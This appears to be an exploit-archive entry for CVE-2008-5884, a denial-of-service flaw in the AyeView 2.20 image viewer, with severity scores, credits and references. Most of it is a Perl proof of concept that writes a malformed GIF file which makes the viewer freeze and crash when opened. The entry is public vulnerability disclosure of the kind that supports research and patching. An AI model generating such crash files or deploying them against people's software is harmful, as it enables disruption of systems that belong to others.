AyeView v2.20 (malformed gif image) DoS Exploit

2009.01.14

Credit: suN8Hclf

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2008-5884

CWE: NVD-CWE-noinfo

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

Name      : AyeView v2.20 (malformed gif image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd (at) gmail (dot) com [email concealed]
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:

#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# AyeView freezes and after few seconds crashes...
# Tested on Windows XP SP2 & Windows 2000 SP4

my $code="\x47\x49\x46\x38\x39\x61\xff\xff\xff\xff\x0e".
         "\x00\x00\x2c\x00\x00\x00\x00\xff\xff\xff\xff\x00";
my $file="open_me.gif";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generated\n"
print "Credit: suN8Hclf, www.dark-coders.pl"

References:

http://xforce.iss.net/xforce/xfdb/45678

http://www.securityfocus.com/bid/31572

http://www.securityfocus.com/archive/1/archive/1/497045/100/0/threaded

http://www.milw0rm.com/exploits/6668

See this note in RAW Version

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AyeView v2.20 (malformed gif image) DoS Exploit

References:

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